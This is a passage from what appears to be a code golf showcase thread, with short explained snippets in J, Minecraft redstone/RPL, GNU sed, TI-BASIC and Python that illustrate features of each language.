snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=%2B%2F%26.%3A*%3A%203%204%205%206) ``` +/&.:*: ``` A verb taking the 2-norm of any vector. This demonstrates 2 things: * the [Insert](http://www.jsoftware.com/help/dictionary/d420.htm) adverb turns the Add verb `+` into Sum by inserting it between each element of its argument. Hence `(0+1+2+3) = +/ i.4` . * The conjunction [Under](http://www.jsoftware.com/help/dictionary/d631.htm) when used as `v &.: u y` is equivalent to `vi u v y`, where `vi` is the [obverse](http://www.jsoftware.com/help/dictionary/dbdotu.htm) (generally the inverse). Yes, J knows about functional inverses. Combining these makes the verb in the snippet equivalent to `%: @: (+/) @: *:`, or `sqrt(sum(y.^2))` in Matlab for instance. ### [Length 8 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=(%24%23%3AI.%40%3A%2C)%205%20%3D%20i.%205%205) ``` $#:I.@:, ``` A [fork](http://www.jsoftware.com/help/dictionary/dictf.htm) is composed of 3 verbs without any reference to arguments. This allows what in J is called *tacit* (point-free) programming. A fork `f g h`, in the monadic case (as in this example) is equivalent to `(f y) g (h y)`. As forks, multidimensional arrays are an intrinsic part of J. ["Indices"](http://www.jsoftware.com/help/dictionary/dicapdot.htm) returns the indices of ones in a vector, but does not extend to higher dimensions as such. This example uses [Shape](http://www.jsoftware.com/help/dictionary/d210.htm), [Antibase](http://www.jsoftware.com/help/dictionary/d402.htm) and `I.@:,` as the 3 tines of the fork implementing I. for higher dimensional arrays, for instance: ``` ($#:I.@:,) 5 = i. 5 5 NB. indices of 5 in i. 5 5 ``` ### [Length 9 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=%3C%221%20i.4%206) ``` <"1 i.4 6 ``` Boxed arrays are a data type in J, allowing to combine heterogeneous content (both type and size) into one value. Monadic `<` [boxes](http://www.jsoftware.com/help/dictionary/d010.htm) it's argument. Rank is a central concept in J, and allows to automatically extend verbs towards arrays of higher dimensions. Both nouns and verbs have a rank. *Noun rank* is the number of dimensions of any noun, which the verb `$@$` can tell you. For example `i. 2 3 4` is an array of rank 3. *Verb rank* is the rank onto which a verb will apply itself. Every verb has an intrinsic rank which can be queried with the [Basic](http://www.jsoftware.com/help/dictionary/dbdotu.htm) conjunction. `v b. 0` returns 3 numbers for the monadic, dyadic left and dyadic right rank of the verb v. A verb works on noun cells of rank equal to the verb rank, and replaces results in a noun `rank-verb rank` frame. A verb's rank can be limited using the [Rank conjunction](http://www.jsoftware.com/help/dictionary/d600n.htm), as is done here, boxing rank 1 cells (rows) instead of working on rank \_, ie. boxing the entire array. More info on rank can be found [here](http://www.jsoftware.com/jwiki/Essays/Rank). ### [Length 10 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=(%5D%3B%20%3C.%2F%20.%2B%7E%5E%3A_%20)%20wtm%3D%3A%20_6%5D%5C0%202%205%20_%20_%20_%20_%200%204%201%203%20_%20_%20_%200%20_%20_2%20_%20_%20_%204%200%20_%205%20_%20_%20_%20_1%200%206%20_%20_%20_%20_%20_%200) ``` <./ .+~^:_ ``` This snippet is a verb calculating the [shortest path](http://www.jsoftware.com/jwiki/Essays/Floyd) over weighted digraph. It introduces minimum (`<./`) and the [Dot conjunction](http://www.jsoftware.com/help/dictionary/d300.htm). The dot conjunction is a generalization of the matrix product, which can be written as `+/ . *` . Generally, `u . v` is equivalent to `u@(v"(1+lv,_))` where lv is the left rank of the verb v. Or in words "u is applied to the result of v on lists of ‚Äúleft argument cells‚Äù and the right argument in toto". (See above for ranks) As such the inner verb `<./ .+~` replaces item `y(i,j)` with the minimum of `y(i,k)+y(k,j)` for all k. `^:_` iterates this step till convergence. Example, displaying original and shortest path distances: ``` (]; <./ .+~^:_ ) wtm=: _6]\0 2 5 _ _ _ _ 0 4 1 3 _ _ _ 0 _ _2 _ _ _ 4 0 _ 5 _ _ _ _1 0 6 _ _ _ _ _ 0 ``` ### [Length 11 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=%3C.%40o.10x%5E99) ``` <[[email protected]](/cdn-cgi/l/email-protection)^99 ``` This snippet introduces *special code*: Some J code is supported by code specifically written for a certain use case, recognized at parse time, and optimized; either for higher accuracy (as is the case here) or higher performance (see [Special combinations](http://www.jsoftware.com/jwiki/Vocabulary/SpecialCombinations)) This phrase gives 99 digits of pi (though shifted 99 decimal places). Special code depends on exact phrasing, what would normally be equivalent is not as precise as the snippet code: `<.o.10x^99` *looses* the extended precision. ### [Length 12 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=%24%20%28%28%24-.1%3A%29%28%24%2C%29%5D%29%20i.%202%201%203%201%201%205) ``` ($-.1:)($,)] ``` From time to time, you end up in situations where due to selections made in data, there are singleton dimensions running in the way. This handy utility, called squeeze in Matlab, squeezes out all singleton dimensions. The left tine of the fork `($-.1:)` yields all dimensions without the ones, while the middle one ($,) reshapes the raveled array to the dimensions retained. The right tine `]` serves just to make this a fork, and references the right argument. ### [Length 13 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=(_2%20%2B%20*%3A)%20(1%20%3A%27-u%25u%20d.%201%27)%5E%3A_%20%5D%201) ``` 1 :'-u%u d.1' ``` [Newton's Method](http://www.jsoftware.com/jwiki/Essays/Newton%27s%20Method) finds an approximation of a root of a differentiable function. This [explicit adverb](http://www.jsoftware.com/jwiki/Vocabulary/Modifiers) is to be applied to the function of which the root is sought, and represents one step of the iterative procedure. `u` is the argument referencing the function, being replaced the moment the adverb is applied. `d.` is a conjunction deriving functions symbolically, and might here be replaced by `D.` which does the same numerically (but differs when applied to higher rank functions). The result is a [hook](http://www.jsoftware.com/jwiki/Vocabulary/hook) subtracting the [fork](http://www.jsoftware.com/jwiki/Vocabulary/fork) ( `u` divided by its derivative) from the argument. For example: ``` (_2 + *:) (1 :'-u%u d. 1')^:_ ] 1 NB. root of x^2-1; ] is there to avoid combining _ and 1 into an array. ``` ### [Length 14 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=(%25-.-*%3A)t.i.10) ``` (%-.-*:)t.i.10 ``` First 10 numbers of the [Fibonacci series](http://www.jsoftware.com/jwiki/Essays/Fibonacci%20Sequence) by Taylor expansion of `x / (1 - x - x^2)`. Analyzing the hook `%-.-*:` gives `(y % (-.-*:) y) = (y % ( (1 - y) - *: y)`. ### [Length 15 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=(%23%7B.%2B%2F%2F.)!%2F%7Ei.9) ``` (#{.+//.)!/~i.9 ``` Another take on Fibonacci series. This time from another angle; starting from Pascale's triangle '!/~i.9' . `/` when used dyadically means [Table](http://www.jsoftware.com/help/dictionary/d420.htm), applying the verb it's bound to between each cell of it's arguments, yielding a table of the operation between arguments x and y. In this case `!` used dyadically, as [Combination (or Out of)](http://www.jsoftware.com/help/dictionary/d410.htm). `~` makes the verb [Reflexive](http://www.jsoftware.com/help/dictionary/d220v.htm), ie. use it's right argument as the left one too. The adverb `/.` is an odd one, it applies it's verb along the anti-diagonals of an array (ie. [try `</.!/~i.5` here](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=%3C%2F.%20!%2F%7E%20i.5) ) So this snippet takes the sums on the 9 first anti-diagonals on the Pascal's triangle, which happens to be another occurrence Fibonacci series. ### [Length 16 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=(%3B%2F%40%7E.%2C.%3C%220%40%23%2F.%7E)%201%202%203%202%203%202%203%202%203%201%203) ``` ;/@~.,. <"0@#/.~: ``` Ok, I added a space just to get to 16 :). This snippet demonstrates a fork using [Key](http://www.jsoftware.com/help/dictionary/d421.htm): listing all items in the argument and their frequencies. `x u/. y` applies u to y in chunks where x is unique, or in J : `(=x) u@# y`, where `=` is [Self-Classify](http://www.jsoftware.com/help/dictionary/d000.htm), which generates a boolean array containing 1's in positions where they appear in the `nub` [~.](http://www.jsoftware.com/help/dictionary/d221.htm) Here it's applied reflexively, hence executing [Tally](http://www.jsoftware.com/help/dictionary/d400.htm) on each unique item in y, counting the number of appearances. As most verbs in J keep the nub order (order of appearance of new unique items, opposed to for instance `unique` in Matlab, which sorts its argument) this can be used for [Stiching](http://www.jsoftware.com/help/dictionary/d321.htm) the items to their frequencies as is done here. `;/@~.` is used to make a boxed list of all items. Note that because the prevasive concept of [Rank](http://www.jsoftware.com/papers/rank.htm), this code works [for any dimensionality](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=(%3B%2F%40%7E.%2C.%3C%220%40%23%2F.%7E)%20%3F%20100%202%202%242). ### [Length 17 snippet](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=%5Dn%3D%3A%20(p%3D%3A%3F!9)%20*.%2F%20%40%3A(%23%26%3E)%40C.%40A.%20i.9) ``` *./ @:(#&>)@C.@A. ``` J supports a few primitives specifically about permutations: * [Anagram A.](http://www.jsoftware.com/help/dictionary/dacapdot.htm) Monadically it finds the Anagram index, dyadically, it applies the permutation specified by the anagram index in the left argument to the right argument. * [Cycle - Permute C.](http://www.jsoftware.com/help/dictionary/dccapdot.htm) converts between direct and cycle representation of permutations. This snippet is a verb that takes an anagram index to the left (between 0 and `!#y`) and right argument y an array to permute. Afterwards, it computes the [LCM](http://www.jsoftware.com/help/dictionary/d111.htm) `*./` of the cycle lengths `#&>`, ie. the period after which you get the original array back: ``` ]n=: (p=:?!9) *./ @:(#&>)@C.@A. i.9 NB. period of a random permutation p&A.^:n i.9 NB. applies permutation n times. ``` ### [Length 21](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=%28bins%3D%3A%28%25%7E%3E%3A%40i.%2910%29%20%28%20%5B%20%28graph%3D%3A%28%2C%26%22%3A%220%201%20%27%23%27%23%220%201%7E%5D%29%29%20%28hist%3D%3A%3C%3A%40%28%23%2F.%7E%29%40%28i.%40%23%40%5B%20%2C%20I.%29%29%20%29%20%28%2B%2F%25%23%29%20%3F5%20200%20%24%200) ``` <:@(#/.~)@(i.@#@[,I.) ``` This little verb comes from the "stats/base" add-on, and is called [*histogram*](http://www.jsoftware.com/jwiki/Essays/Histogram). It does exactly that, given a list of bin starts, sums all occurrences of data between in the interval `]bn-1,bn]` where bn is the start of bin number n. It exploits [Interval Index `I.`](http://www.jsoftware.com/help/dictionary/dicapdot.htm) for finding the interval of: > > If y has the shape of an item of x , then x I. y is the least non-negative j such that j{x follows y in the ordering, or #x if y follows {:x in the ordering or if x has no items. > > > Making the totals of each interval is done using [key](http://www.jsoftware.com/help/dictionary/d421.htm) as highlighted in snippet 16. The snippet linked to on tryj.tk demonstrates the central limit theorem using this histogram: ``` (bins=:(%~>:@i.)10) ( [ (graph=:(,&":"0 1 '#'#"0 1~])) (histogram=:<:@(#/.~)@(i.@#@[,I.)) ) (+/%#) ?5 200 $ 0 ``` ### [Length 22](https://a296a8f7c5110b2ece73921ddc2abbaaa3c90d10.googledrive.com/host/0B3cbLoy-_9Dbb0NaSk9MRGE5UEU/index.html#code=%28%27abcd%27%3B1%202%203%204%29%20%28%3D%2C%26%28%2B%2F%29%28%7E%3A%23%5B%29e.%26%7E.%7E%3A%23%5D%29each%20%28%27bacd%27%3B4%201%202%203%29) ``` =,&(+/)(~:#[)e.&~.~:#] ``` Fun in J. This implements a mastermind engine, taking a secret array as left argument, and a guess as the right. The values returned are the number of white and black pegs. Taken apart: ``` NB. ExactMatch: checks where digits correspond: ExactMatch =: = NB. GoodDigitWrongPlace: Copies non-matched numbers from both arguments (left and right NB. pairs of parentheses, and checks them for same elements(e.), after eliminating NB. doubles in both (&~.) GoodDigitWrongPlace =: (~: # [) (e.&~.) (~: # ]) NB. Piecing the conditions together, after summing the booleans: mm =: ExactMatch ,&(+/) GoodDigitWrongPlace ``` To be used like ``` secret (=,&(+/)(~:#[)e.&~.~:#]) guess ``` Where `secret` and `guess` are any array. It works with any data type actually. [Answer] ## [RPL (Redstone Programming Language)](http://tossha.com/rpl/) [and Minecraft] This is a big stretch on whether or not we can consider this a real programming language or not, but we will try anyway. And, as these two "languages" are practically the same, I will combine them, sometimes post snippets in "Minecraft" language (redstone, etc) and sometimes in RPL. Also, since many snippets will be in Minecraft, I will post links to the pictures rather than the pictures themselves to save space. Additionally, all snippets will be of programming concepts in Minecraft, not general redstone (i.e. no redstone doors will appear). Characters will be counted in bytes (in RPL) or as according to [this](http://meta.codegolf.stackexchange.com/a/7397/36670) (in Minecraft). ### Factoid: RPL is a programming language by [Tossha the Inventor](https://www.youtube.com/channel/UCvH7xdcFYPpCYXHBX2TzUmA) that converts code into Minecraft redstone and command blocks. It can do input and output, loops, integer manipulation, trig functions, roots, and more. ### Length 1: A button (1 byte) is the simplest form of input in Minecraft. It also can start or stop a "program". Similarly, a lever (also 1 byte) is another form of input, and can also be used to both start and stop the program as it has an "on" and "off" state. Something to remember is that Minecraft is literally a 3D programming language, so where the button/lever is place in the program can make a huge difference. ### Length 2: A button attached to a redstone lamp is pretty much your *very basic* cat program. It takes the input (with a button or lever, either `0` or `1` (`off` or `on`)) and outputs it in the form as light from the lamp as either `0` or `1` (`off` or `on`). [![enter image description here](https://i.stack.imgur.com/IXcAh.png)](https://i.stack.imgur.com/IXcAh.png) ## Length 3: As seen below, this one of the shortest source-code modifying programs (as you can modify the source at runtime with Minecraft!). Now, this specific one really has no use, but the concept can be combined with others to create some awesome programs (as to come with more upvotes). When run, this program removes its source of input, and makes itself unable to be run again. [![enter image description here](https://i.stack.imgur.com/wPo9u.png)](https://i.stack.imgur.com/wPo9u.png) ## Length 4 This "snippet" actually shows two concepts: delay, and the NOT gate. Delay is made using certain redstone elements that have a *redstone-tick* delay. A redstone-tick is equal to one-tenth of a second. Different redstone components have different delays: a torch has a 1rt delay (1 redstone-tick), a comparator has a 1rt delay, a repeater can have a 1, 2, 3, or 4rt delay, depending on how it is set up. In this example, the redstone repeater is set to a 4rt delay. Next is the NOT gate. The NOT gate takes an input an inverts it. So in this set up, the output will be on if the input is off, and the output will be off if the input is on. ## Length 5 The OR gate is very easy to accomplish in Minecraft. Two inputs are connected to the same output. That is it. No funny trickery or anything, it's pretty simple. [![enter image description here](https://i.stack.imgur.com/GYVrr.png)](https://i.stack.imgur.com/GYVrr.png) ## Length 6 Here is a tip for compacting your "code". If you know the signal strength of two inputs are small enough to not interfere with the corresponding outputs, you can wire the redstone right nect to each other. In the example below, there is a simple hopper timer, which transfers items back and forth in about 0.5s in each hopper, conncected to comparators that output a signal strength of 1. This means that the two ouputs will not interfere with each other. In the example, the lamps are there for demonstration purposes only and don't count towards the total block count. [![enter image description here](https://i.stack.imgur.com/SJSdH.png)](https://i.stack.imgur.com/SJSdH.png) [Answer] # GNU Sed I am self-imposing a more restrictive requirement - all snippets will be complete `sed` programs. ### Factoid `sed` *is* a Turing-complete language. [Here is a proof.](http://web.archive.org/web/20150217125442/http://robertkotcher.com/sed.html) ### Length 0 Snippet I don't think a length 0 snippet is strictly required, but since it actually does something in sed, here it is: Sed is the "Stream EDitor", i.e. it reads the stream (line-by-line) from STDIN, edits, then outputs to STDOUT. The zero-length sed program simply copies STDIN to STDOUT. Thus the `cat` utility may be emulated by sed. The following are equivalent: ``` cat a.txt b.txt > c.txt ``` and ``` sed '' a.txt b.txt > c.txt ``` ### Length 1 Snippet ``` = ``` This sed program prints the line number of each line to STDOUT. This is approximately equivalent to: ``` nl ``` or ``` cat -n ``` although the sed version puts the line number on its own line. ### Length 2 Snippet ``` 5q ``` Copies STDIN to STOUT and `q`uits after line 5. This is equivalent to: ``` head -n5 ``` You might be starting to see a bit of a pattern here - `sed` can be used to emulate many of the standard coreutils tools. ### Length 3 Snippet ``` iHi ``` `i`nserts "Hi\n" before every line. Meh. ### Length 4 Snippet ``` /a/d ``` A lot of sed's power is in its regex capability. This program causes all lines matching the regex `a` to be `d`eleted from the stream. All other lines will still be output to STDOUT. This is equivalent to: ``` grep -v "a" ``` ### Length 5 Snippet ``` :l;bl ``` This is an infinite loop. We all love CPU-hogging infinite loops. Defines a label `l`, then `b`ranches (jumps) to it. Ad infinitum. ### Length 6 Snippet ``` N;/a/d ``` The `N` command is very useful when you want information on lines `N`ext to what you're looking for; it appends an extra line to the pattern space. This will remove any pair of lines (starting from the first line) that match a regex `a` ### Length 7 Snippet ``` s/a/A/g ``` By default, sed applies `s` commands such that it will match just the first occurrence on each line. If you need it to match (and substitute) every occurrence on a line, then the `g` flag at the end of the `s` command will do this. ### Length 8 Snippet ``` y/01/10/ ``` The little used `y` command is similar to the `tr` shell utility (though not quite as flexible). This program will switch all `0`s with `1`s and vice versa. ### Length 9 Snippet ``` 1!G;$p;h ``` This snippet is 8 bytes, but requires the -n parameter for sed to suppress default output. As per standard code-golf rules, I'm counting this as 9. This uses something called the 'hold space', which is essentailly a place to store something you want later. `1!` means 'on every line but the first', `G` appends the hold space to the pattern space, `$p` means `p`rint when on the last line, and `h` replaces the hold space with the current pattern space for us to `G`rab on the next cycle. So: ``` sed -n '1!G;$p;h' ``` is exactly equivalent to: ``` tac ``` ### Length 10 Snippet ``` s/[ <TAB>]+$// ``` This is a revisit of the (old) length 6 snippet. This strips trailing whitespace (spaces and TABs) from lines. ### Length 11 Snippet ``` sed -n '/a/{N;N;p}' ``` The `{` command does exactly what you think it does: it groups a bunch of commands together until there's a `}`. As with most commands, you can restrict it to a range or a regex; so this program will `p`rint lines containing regex `a` along with the two `N`ext lines following them. ### Length 12 Snippet ``` '1,4d;9,/^$/d' ``` Speaking of restricting to ranges or regex, you can even do both at the same time. The first command `d`eletes lines 1-4 (counting the 1st line as line 1) and the second `d`eletes line 9, and then continues deleting until (and including) it hits an empty line. ### Length 13 Snippet ``` '/i/,/a/s/a/A/' ``` (Read '/i/,/a/' as a range and then 's/a/A/' as the commnad) If you start a range with a regex, sed will start a new range each time you hit that regex. This capitilizes the first `a` after each line with an i. (it also capitalizes the first a on the same line as an `i`, if there is one; the second address is not checked until the range starts) ### Length 14 Snippet ``` :l;N;$!bl;p;p; ``` The fisrt bit loads the entire input into the pattern space: define label `l`, add a line to pattern space, `b`ranch to `l` if we're not(`!`) the last line(`$`). In total, this program `p`rints the entire input three times: once for each `p`, and then again at the end with the default output. ### Length 15 Snippet ``` '/a/,+9d;/i/,~5d' ``` GNU Sed adds some interesting ranging options in addition to the earlier ones. `,+#` will match `#` lines following the first address and `,~#` will continue to match until the line number is divisible by `#`. ### Length 16 Snippet ``` '5,10w output.txt' ``` and ``` 'r insertfile.txt' ``` Sed has a way to act directly on files with a command option (`-i` for edit-`i`n-place, with an optional backup file using `-i.bak` or whatever other suffix you want to add) but you can technically read and write to files inside your script. However, be careful when using them; `r`, for example, will output the entire file at the end of each cycle rather than appending it to the input as you may expect it to. To do this, just give each file name as another command line option like: ### Length 17 Snippet ``` sed -s '1F' in.txt file.txt ``` The `-s` command lets you treat each added file as an entirely new group of lines, starting the line count over and reseting your ranges. This script, for example, will print the current `F`ilename whenever it hits the first line of a file, allowing you to see where one file ends and the next begins. ### Length 18 Snippet ``` 'N;N;P;D;P#comments' ``` Sed is pretty small in terms of built in commands, so we've almost covered everything. Several commands have a uppercase version which does things one line at a time for when you decide to load more lines into the pattern space with `N`: `P`rint up to first newline, `D`elete up to the first newline, etc. This is also a good a time as any to mention `#` makes the rest of the line into a comment, and will not be executed. ### Length 18 Snippet ``` sed ':l;N;$!bl;e' srpt.sh ``` Coming full circle to rendering other commands in sed, this is roughly the same as `sh srpt.sh`. The first bit we talked about earlier, loading the full input into the pattern space; and the `e`xecute command runs the pattern space as a bash script and replaces the pattern space with the resulting output. In this example that means it just prints with the standard end-of-cycle output. You can disable `e`, as well as `r` and `w`, with the `--sandbox` command line option. ### Length 19 Snippet ``` sed '/\\\//,//s///g' --debug ``` The `--debug` option is a great help whenever sed does something completely unexpected, as it shows each step sed takes in each cycle. It tells you, for each cycle: where the input is coming from, the new pattern space, the hold space if there is any, each command that is run with the results of that command, and the end of cycle output. It also renders your sed program in a more readable multiline form at the very start. In this case, what happens is that an empty regex `//` is replaced with the most recently used regex when an empty regex wouldn't make sense. Since ranges are active whenever they are open, this is the same as just doing `'s/\\\///'`; ie it `s`waps each `\/` with an empty string.a ### Length 20 Snippet ``` sed -nE 's/(a|b{2})/\u\1/gp' ``` The last thing I want to mention is the `-E` extended regex option, and a few fancy things on the `s`wap command. `-E` allows you to use characters for their regex meaning rather than their literal meaning. There are also many 'backslash escapes' you can incorperate into your replace string; used here are `\u` for 'next letter uppercase' and `\1` for 'first capture group'. Finally, many standalone commands have a 'flag version' that work at the end of a `s`wap statement, like the `p` which prints if there was a successful swap. [Answer] # TI-BASIC *[The language varies based on which calculator it is used on, but these will use the TI-84 unless otherwise noted.]* ### Length 31 snippet ``` Menu("","1",A,"2",B Lbl A Lbl B ``` This demonstrates the use of menus. The one above is quite useless, as it does nothing, but they can be used to navigate the different part of a program. The first argument is the menu title, followed by pairs of options (the string displayed followed by a 1- or 2-letter label). Here is a more intuitive example: ``` Menu("CHOOSE VALUE","AREA",A,"CIRCUMFERENCE",C Lbl A Disp œÄR¬≤ Stop Lbl C 2œÄR ``` `Lbl` can also be used for branching with `Goto`. Menus have some limitations that make them annoying to use, however: There can only be seven menu items, and each title can be at most fourteen characters, so the whole thing fits on one screen. ### Length 29 snippet ``` Real ‚àö(-16 a+bi Ans re^Œ∏i Ans ``` `Real` (on by default) places the calculator in real number mode, so calculations involving complex numbers throw a `NONREAL ANS` error. When put in `a+bi` mode, the calculator displays answers as complex numbers if applicable, so the second example returns `4i`. `re^Œ∏i` mode uses polar instead of rectangular coordinates, so it outputs `4e^(1.570796327i)`. ### Length 23 snippet ``` If A‚â•9 Then 1‚ÜíX 7‚ÜíY End ``` This is just a simple conditional, although there can be an `Else` statement. `Then` and `End` are not required if it is just one statement. ### Length 21 snippet ``` (-B+‚àö(B¬≤-4AC))/(2A)‚ÜíX ``` Everyone's favorite, the quadratic formula. Stores the first solution to a quadratic equation as `X`, assuming a, b, and c are stored in their respective variables, as in *ax*2 + *bx* + *c*. ### Length 20 snippet ``` Shade(|X/2|-3,5-X¬≤,0 ``` This shades the intersection of the two functions, with several optional parameters: minimum and maximum values of x and direction of and distance between the shading lines. ### Length 18 snippet ``` LinReg(ax+b) L1,L2 ``` Here we calculate the linear regression equation, or the linear equation that best matches a group of points, with the x-values stored as a list in `L1` and the y-values in `L2`. There are many other regression options available, including quadratic, cubic, and exponential. ### Length 17 snippet ``` dbd(1.2711,1.2115 ``` This calculates the number of days between two dates, in this case January 27, 2011, the day this site started, and January 21, 2015, the day this was written. (That's 1455 days for the lazy.) The way to encode dates is a little strange: either DDMM.YY or MM.DDYY, leading zeroes optional. ### Length 16 snippet ``` For(A,0,5 Disp A ``` This shows two parts of the programming side of the language. The first is your typical `for` loop, similar to `for(var A=0;a<5;a++)` in other languages. (You should also use the `End` command to break out of the loop.) The second is self-explanatory: it displays `A`, in this case 5 times because of the loop. ### Length 15 snippet ``` Y1=|X¬≥-4| Y2=3X ``` Here are two examples of a well-known feature of *graphing* calculators: graphing equations. You can have 10 different equations graphed on the same plane, and there are many useful commands to find intersections, maxima, values of *x*, etc. Those equations look like this when graphed on a standard window: [![Graph](https://i.stack.imgur.com/a00ek.png)](https://i.stack.imgur.com/a00ek.png) ### Length 14 snippet ``` [[1,2][34,5]]T ``` The brackets are used to make matrices, and the `T` transposes the matrix: ``` [[1 34] [2 5]] ``` ### Length 13 snippet ``` dayOfWk(9,1,6 ``` This finds the day of the week of January 6, 9 AD. The output is a number where 1 is Sunday, 2 is Monday, and so on. This particular date was a Tuesday, so the output is `3`. ### Length 12 snippet ``` Circle(1,3,5 ``` The first of the basic drawing tools, this draws a circle on the graph with a center at (1,3) and a radius of 5. ### Length 11 snippet ``` randInt(0,8 ``` This generates a (pseudo-)random integer between 0 and 8 inclusive. There is an optional third argument that tells how many integers to generate. There are several other random functions, including ones for normal and binomial distributions, one for a random matrix, and one for a randomly ordered list with no repetitions. `randInt` can be seeded by storing a number as `rand`: `2‚Üírand`. ### Length 10 snippet ``` 4>5 or 2‚â†7 ``` Here we have TI-BASIC's (in)equality and logic operators. The inequality statements evaluate first to `0 or 1`, and `or` returns true if either side is true, so this displays `1`. ### Length 9 snippet ``` .656‚ñ∂F‚óÄ‚ñ∂D ``` This can convert from decimal to fraction and vice versa, which is very useful. There are also dedicated `‚ñ∂Frac` and `‚ñ∂Dec` functions that only go one way. Prints `82/125` in this case. ### Length 8 snippet ``` lcm(14,6 ``` This prints the [least common multiple](https://en.wikipedia.org/wiki/Least_common_multiple) of 14 and 6, which is 42. ### Length 7 snippet ``` getDate ``` Pretty self-explanatory, just prints the current system date as a list, in this case `{2015 1 19}`. ### Length 6 snippet ``` ‚àö({4,9 ``` Arrays (or lists) are surrounded by braces and separated by commas. This is similar to the `map` function of many languages, where it iterates through each element of the list and applies the operation outside the braces to it, in this case square root, so the result is `{2 3}`. Note that closing parentheses are optional, so they will be omitted from now on. ### Length 5 snippet ``` 4iii6 ``` We've got a couple of cool things going on here. First, the real parts, 4 and 6 are multiplied, and then the imaginary parts are multiplied: `i^3`, or `-i`. These multiplied give `-24i`. This showcases funky-looking juxtaposition multiplication and TI-BASIC's handling of imaginary numbers. ### Length 4 snippet ``` 8¬∞5‚Ä≤ ``` This is 8 degrees, 5 arcminutes, which is converted to degrees as `8.0333`... ### Length 3 snippet ``` 8‚ÜíT ``` This shows how numbers can be stored as variables, which is somewhat unusual because the number goes first, followed by the store arrow, then the variable name. As mentioned in the factoid, `Œ∏` (theta) can also be used as a variable, and variables can only be one uppercase letter. ### Length 2 snippet ``` 4M ``` Similarly to Mathematica, you can multiply with juxtaposition, no `*` necessary. All variables are initialized to 0 by default, so this will output 0 unless you have stored something else to that variable (see snippet 3). ### Length 1 snippet ``` e ``` This is the constant for [Euler's number](https://en.wikipedia.org/wiki/E_(mathematical_constant)), which displays as `2.718281828`. ### Factoid Variables can only store certain datatypes. For example, `A` ‚Äì `Z` (and `θ`) store numerical values, `str0` ‚Äì `str9` store strings, and `[A]` ‚Äì `[J]` store matrices (2-dimensional arrays). [Answer] # Python *([mbomb007](https://codegolf.stackexchange.com/a/44749/21487)'s post already has a plethora of Python snippets, but I thought I'd chip in with some quirkier facts)* ### Factoid Python is a dynamically typed language with an emphasis on readability. ### Length 1 snippet ``` 1 ``` In Python 3, the above is equivalent to `True` in the sense that `1 == True` (and also `0 == False`). Note that this doesn't necessary hold true in Python 2, where you can **redefine the value of `True`**. ### Length 2 snippet ``` <> ``` `<>` is an obsolete comparison operator equivalent to `!=`. It still works in Python 2 (although its use is discouraged), and was removed altogether from Python 3. ### Length 3 snippet ``` ... ``` Python has a number of features which no builtin uses, but is there solely for the sake of third-party libraries. This `Ellipsis` object is one of them, and it is typically used for slicing. For example, if we have the following 3D [numpy](http://www.numpy.org/) array: ``` array([[[1, 2, 3], [4, 5, 6]], [[7, 8, 9], [10, 11, 12]]]) ``` then `a[..., 0]` (equivalent to `a[:,:,0]`) gives all the first elements: ``` array([[1, 4], [7, 10]]) ``` In Python 3 the `...` literal can be used outside of the slicing syntax, which amusingly allows you to use it as a "to-do" marker in place of `pass` or `NotImplemented`: ``` def f(x): ... # TODO ``` ### Length 4 snippet ``` (1,) ``` A one-element tuple in Python. Python has lists (e.g. `[1, 2, 3, 4]`) which are mutable, and tuples (e.g. `(1, 2, 3, 4)`) which are *im*mutable. One common use for tuples is as dictionary keys, since lists aren't hashable. A common beginner mistake is to leave out the comma above, i.e. `(1)`, which is just the number 1 surrounded by parentheses. The one-element tuple is the only time you need a comma before the closing parens ‚Äî it raises a `SyntaxError` if you try to put one in the empty tuple `()`, and is optional for tuples of length at least 2. ### Length 5 snippet ``` 0or x ``` There's a few things going on in this snippet, so let's take a look! `or` is like `||` in many languages. In Python, `A or B` short-circuits, returning `A` (without evaluating `B`) if `A` is truthy, otherwise it returns `B`. For example, `1 or x` always returns `1`, as `1` is always truthy, and even works if `x` is not defined. On the other hand, `0 or x` either returns `x` if `x` is defined, or throws a `NameError` if it isn't. When golfing, we can usually drop the whitespace between a number and an `or`, such as `1 or x` becoming `1or x`. This is possible because `1or` starts with a digit, making it an illegal Python identifier. *However* there is one exception ‚Äî `0or`, which mysteriously throws a `SyntaxError`. Why? Because octal literals in Python start with `0o` (e.g. `0o20 == 16`), and the parser chokes when it reaches the `r`! Note: In Python 2, octal literals may also start with a leading zero, e.g. `020`. ### Length 6 snippet ``` *x,y=L ``` This snippet demonstrates a special type of assignment in Python, where `L` is a list, tuple or any other 